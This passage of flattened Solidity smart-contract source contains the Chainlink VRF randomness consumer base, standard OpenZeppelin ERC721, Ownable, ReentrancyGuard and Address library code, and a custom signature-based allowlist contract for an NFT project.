once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constuctor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator, _link) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash), and have told you the minimum LINK * @dev price for VRF service. Make sure your contract has sufficient LINK, and * @dev call requestRandomness(keyHash, fee, seed), where seed is the input you * @dev want to generate randomness from. * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomness method. * * @dev The randomness argument to fulfillRandomness is the actual random value * @dev generated from your seed. * * @dev The requestId argument is generated from the keyHash and the seed by * @dev makeRequestId(keyHash, seed). If your contract could have concurrent * @dev requests open, you can use the requestId to track which seed is * @dev associated with which randomness. See VRFRequestIDBase.sol for more * @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously.) * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. (Which is critical to making unpredictable randomness! See the * @dev next section.) * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the ultimate input to the VRF is mixed with the block hash of the * @dev block in which the request is made, user-provided seeds have no impact * @dev on its economic security properties. They are only included for API * @dev compatability with previous versions of this contract. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. */ abstract contract VRFConsumerBase is VRFRequestIDBase { /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBase expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomness the VRF output */ function fulfillRandomness( bytes32 requestId, uint256 randomness ) internal virtual; /** * @dev In order to keep backwards compatibility we have kept the user * seed field around. We remove the use of it because given that the blockhash * enters later, it overrides whatever randomness the used seed provides. * Given that it adds no security, and can easily lead to misunderstandings, * we have removed it from usage and can now provide a simpler API. */ uint256 constant private USER_SEED_PLACEHOLDER = 0; /** * @notice requestRandomness initiates a request for VRF output given _seed * * @dev The fulfillRandomness method receives the output, once it's provided * @dev by the Oracle, and verified by the vrfCoordinator. * * @dev The _keyHash must already be registered with the VRFCoordinator, and * @dev the _fee must exceed the fee specified during registration of the * @dev _keyHash. * * @dev The _seed parameter is vestigial, and is kept only for API * @dev compatibility with older versions. It can't *hurt* to mix in some of * @dev your own randomness, here, but it's not necessary because the VRF * @dev oracle will mix the hash of the block containing your request into the * @dev VRF seed it ultimately uses. * * @param _keyHash ID of public key against which randomness is generated * @param _fee The amount of LINK to send with the request * * @return requestId unique ID for this request * * @dev The returned requestId can be used to distinguish responses to * @dev concurrent requests. It is passed as the first argument to * @dev fulfillRandomness. */ function requestRandomness( bytes32 _keyHash, uint256 _fee ) internal returns ( bytes32 requestId ) { LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER)); // This is the seed passed to VRFCoordinator. The oracle will mix this with // the hash of the block containing this request to obtain the seed/input // which is finally passed to the VRF cryptographic machinery. uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]); // nonces[_keyHash] must stay in sync with // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest). // This provides protection against the user repeating their input seed, // which would result in a predictable/duplicate output, if multiple such // requests appeared in the same block. nonces[_keyHash] = nonces[_keyHash] + 1; return makeRequestId(_keyHash, vRFSeed); } LinkTokenInterface immutable internal LINK; address immutable private vrfCoordinator; // Nonces for each VRF key from which randomness has been requested. // // Must stay in sync with VRFCoordinator[_keyHash][this] mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces; /** * @param _vrfCoordinator address of VRFCoordinator contract * @param _link address of LINK token contract * * @dev https://docs.chain.link/docs/link-token-contracts */ constructor( address _vrfCoordinator, address _link ) { vrfCoordinator = _vrfCoordinator; LINK = LinkTokenInterface(_link); } // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomness( bytes32 requestId, uint256 randomness ) external { require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill"); fulfillRandomness(requestId, randomness); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/Address.sol"; // Author: 🎩🐭 fancyrats.eth contract Whitelisted { using ECDSA for bytes32; using Address for address; address internal _signer; constructor(address signer) { _signer = signer; } // @dev Assumes the signed message was human-readable msg.sender address (lowercase, without the '0x') modifier isValidWhitelistSignature(bytes memory signature) { bytes32 messageHash = toEthSignedMessageHash(asciiSender()); address signer = messageHash.recover(signature); require(signer == _signer, "Invalid whitelist signature"); _; } function recoveredAddress(bytes memory signature) public view returns (bytes memory) { address recoveredSigner = recover(signature); return abi.encodePacked(recoveredSigner); } function recover(bytes memory signature) public view returns (address) { bytes32 messageHash = toEthSignedMessageHash(asciiSender()); address recoveredSigner = messageHash.recover(signature); return recoveredSigner; } function generateSenderHash() public view returns (bytes32) { return toEthSignedMessageHash(asciiSender()); } // @dev Because at time of writing, 5b28...3cc0 hasn't made it into OpenZeppelin ECDSA release yet. // @dev https://github.com/OpenZeppelin/openzeppelin-contracts/commit/5b28259dacf47fc208e03611eb3ba8eeaed63cc0#diff-ff09871806bcccfd38e43de481f3e7e2fb92134c58e1a1f97b054e2d0d727458R209 function toEthSignedMessageHash(string memory s) public pure returns (bytes32) { bytes memory b = bytes(s); return keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n", Strings.toString(b.length), b ) ); } function asciiSender() public view returns (string memory) { return toAsciiString(msg.sender); } function toAsciiString(address x) internal pure returns (string memory) { bytes memory s = new bytes(40); for (uint256 i = 0; i < 20; i++) { bytes1 b = bytes1(uint8(uint256(uint160(x)) / (2 ** (8 * (19 - i))))); bytes1 hi = bytes1(uint8(b) / 16); bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi)); s[2 * i] = char(hi); s[2 * i + 1] = char(lo); } return string(s); } function char(bytes1 b) internal pure returns (bytes1 c) { return (uint8(b) < 10) ? bytes1(uint8(b) + 0x30) : bytes1(uint8(b) + 0x57); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface LinkTokenInterface { function allowance( address owner, address spender ) external view returns ( uint256 remaining ); function approve( address spender, uint256 value ) external returns ( bool success ); function balanceOf( address owner ) external view returns ( uint256 balance ); function decimals() external view returns ( uint8 decimalPlaces ); function decreaseApproval( address spender, uint256 addedValue ) external returns ( bool success ); function increaseApproval( address spender, uint256 subtractedValue ) external; function name() external view returns ( string memory tokenName ); function symbol() external view returns ( string memory tokenSymbol ); function totalSupply() external view returns ( uint256 totalTokensIssued ); function transfer( address to, uint256 value ) external returns ( bool success ); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns ( bool success ); function transferFrom( address from, address to, uint256 value ) external returns ( bool success ); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract VRFRequestIDBase { /** * @notice returns the seed which is actually input to the VRF coordinator * * @dev To prevent repetition of VRF output due to repetition of the * @dev user-supplied seed, that seed is combined in a hash with the * @dev user-specific nonce, and the address of the consuming contract. The * @dev risk of repetition is mostly mitigated by inclusion of a blockhash in * @dev the final seed, but the nonce does protect against repetition in * @dev requests which are included in a single block. * * @param _userSeed VRF seed input provided by user * @param _requester Address of the requesting contract * @param _nonce User-specific nonce at the time of the request */ function makeVRFInputSeed( bytes32 _keyHash, uint256 _userSeed, address _requester, uint256 _nonce ) internal pure returns ( uint256 ) { return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce))); } /** * @notice Returns the id for this request * @param _keyHash The serviceAgreement ID to be used for this request * @param _vRFInputSeed The seed to be passed directly to the VRF * @return The id for this request * * @dev Note that _vRFInputSeed is not the seed passed by the consuming * @dev contract, but the one generated by makeVRFInputSeed */ function makeRequestId( bytes32 _keyHash, uint256 _vRFInputSeed ) internal pure returns ( bytes32 ) { return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); 